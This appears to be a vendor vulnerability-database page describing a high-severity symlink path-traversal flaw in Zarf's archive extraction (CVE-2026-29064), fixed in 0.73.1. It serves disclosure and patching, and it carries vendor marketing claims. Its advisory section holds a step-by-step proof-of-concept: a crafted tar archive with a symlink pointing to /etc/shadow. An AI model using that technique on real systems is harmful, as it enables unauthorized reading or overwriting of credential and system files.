How severe is GHSA-hcm4-6hpj-vghm?

GHSA-hcm4-6hpj-vghm has a CVSS score of 8.2/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-hcm4-6hpj-vghm?

GHSA-hcm4-6hpj-vghm affects the following packages: github.com/zarf-dev/zarf/src/pkg/archive (Go). Ecosystems affected: Go.

How do I fix GHSA-hcm4-6hpj-vghm?

Update github.com/zarf-dev/zarf/src/pkg/archive to 0.73.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hcm4-6hpj-vghm is resolved across your whole dependency graph.

How do I detect GHSA-hcm4-6hpj-vghm in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zarf-dev/zarf/src/pkg/archive. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-hcm4-6hpj-vghm if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-hcm4-6hpj-vghm?

O3 pinpoints whether GHSA-hcm4-6hpj-vghm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-hcm4-6hpj-vghm actively exploited in the wild?

No public exploit code has been indexed for GHSA-hcm4-6hpj-vghm yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-hcm4-6hpj-vghm?

GHSA-hcm4-6hpj-vghm has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 12th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-hcm4-6hpj-vghm?

GHSA-hcm4-6hpj-vghm is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-hcm4-6hpj-vghm published, and has it been updated?

GHSA-hcm4-6hpj-vghm was published on March 6, 2026 and was last updated on March 23, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-hcm4-6hpj-vghm

HIGH

Zarf's symlink targets in archives are not validated against destination directory

Also known asCVE-2026-29064GO-2026-4636

Published

Mar 6, 2026

Updated

Mar 23, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk12th percentile+0.19%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹github.com/zarf-dev/zarf/src/pkg/archive

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package.

What users should do

Upgrade immediately to version v0.73.1

If developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied.

If using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be rebuilt.

Who is affected

Any user of affected Zarf versions who processes packages from untrusted or semi-trusted sources. This includes packages received via file transfer, downloaded from registries, or shared across organizational boundaries. This includes use of the zarf tools archiver decompress functionality on generic archives.
Any SDK consumers of Zarf for the affected versions who utilize package load or archive operations.

What is the risk

A malicious Zarf package or archive could create symlinks pointing to arbitrary locations on the filesystem. This could lead to unauthorized file reads, file overwrites, or in some scenarios, code execution on the system performing the extraction in the event a file on the system is both overwritten and executed. This vulnerability does not introduce an execution path explicitly.

Mitigating Factors

If developers only process trusted packages and/or trusted archives (with `zarf tools archiver decompress), the risk is low.

Details

The archive extraction code in src/pkg/archive/archive.go creates symlinks from archive entries without validating that the symlink target resolves within the extraction destination directory. This affects all three extraction handler functions:

defaultHandler (on line 320): Joins dst with f.LinkTarget, but does not verify the resolved path stays under dst. This means that a LinkTarget of "../../../../etc/shadow" would resolve outside the destination after filepath.Join.
stripHandler (on line 342): Passes f.LinkTarget verbatim to os.Symlink.
filterHandler (on line 370): Similar to defaultHandler, the code joins but does not validate the LinkTarget.

The vulnerability is a symlink variant of the "Zip Slip" class (CVE-2018-1002200). An attacker constructs a Zarf package containing an archive entry with a malicious f.LinkTarget. When the package is extracted, os.Symlink creates a symlink pointing outside the extraction root. A subsequent archive entry targeting the same name can then read or write through the symlink to an arbitrary location on the filesystem.

PoC

<details> <summary>Proof of Concept</summary> You may want to follow through these steps inside of a disposable environment (container, VM):

Reproduction via zarf tools archiver decompress (simplest)

This demonstrates the vulnerability using the defaultHandler (line 320).

# 1. Create a staging directory for the malicious archive contents.
mkdir -p /tmp/cve-repro/archive-contents

# 2. Create a symlink that traverses out of the extraction directory.
#    This symlink targets "../../../../../../../etc/shadow" relative to
#    whatever extraction destination is chosen.
cd /tmp/cve-repro/archive-contents
ln -s ../../../../../../../etc/shadow escape-link

# 3. Also create a regular file so the archive isn't empty besides the link.
echo "benign content" > readme.txt

# 4. Package into a tar.gz archive.
#    The --dereference flag is NOT used, so the symlink is stored as-is.
cd /tmp/cve-repro
tar -czf malicious.tar.gz -C archive-contents .

# 5. Verify the archive contains the symlink.
tar -tvf malicious.tar.gz
# Expected output includes:
#   lrwxrwxrwx ... ./escape-link -> ../../../../../../../etc/shadow

# 6. Create the extraction destination (deeply nested so the traversal
#    resolves to a real path).
mkdir -p /tmp/cve-repro/extract/a/b/c/d

# 7. Run the vulnerable extraction.
zarf tools archiver decompress malicious.tar.gz /tmp/cve-repro/extract/a/b/c/d

# 8. Verify the symlink was created pointing outside the destination.
ls -la /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: escape-link /etc/shadow
#
# The symlink target resolves to /etc/shadow, which is OUTSIDE
# the extraction directory /tmp/cve-repro/extract/a/b/c/d/.

readlink -f /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: /etc/shadow

What happened: defaultHandler (line 320) executed:
os.Symlink(filepath.Join(dst, f.LinkTarget), target)
// = os.Symlink("/tmp/cve-repro/extract/a/b/c/d/../../../../../../../etc/shadow",
//              "/tmp/cve-repro/extract/a/b/c/d/escape-link")
filepath.Join cleans the path to /etc/shadow, which is outside dst. No validation is performed.

</details>

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/zarf-dev/zarf/src/pkg/archive`	≥ 0.54.0&&< 0.73.1	0.73.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zarf-dev/zarf/src/pkg/archive. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/zarf-dev/zarf/src/pkg/archive to 0.73.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hcm4-6hpj-vghm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hcm4-6hpj-vghm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hcm4-6hpj-vghm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package. ### What users should do Upgrade immediately to version v0.73.1 If developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied. If using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be reb

O3 Security · Impact-Aware SCA

Is GHSA-hcm4-6hpj-vghm in your dependencies?

O3 detects GHSA-hcm4-6hpj-vghm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works

CVSS Score

8.2/10

CVSS v3 base score

Vector breakdown

AV:Attack Vector

Local

AC:Attack Complexity

Low

PR:Privileges Required

None

UI:User Interaction

Required

S:Scope

Changed

C:Confidentiality

High

I:Integrity

High

A:Availability

None

Raw vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CWE Classification

CWE-22Path Traversal

Weaponization

No known public exploit tooling found.

OpenSSF Scorecard

Package health score

zarf

6.9/10

Dependency-Update-Tool10/10

Code-Review10/10

Maintained10/10

Vulnerabilities0/10

Branch-Protection8/10

Assessed Jun 24, 2026

Timeline

Disclosed

Mar 6, 2026

Last updated

Mar 23, 2026

Identifiers

GHSA-hcm4-6hpj-vghm

GO-2026-4636

References

Advisorynvd.nist.gov Webgithub.com Webgithub.com Packagegithub.com

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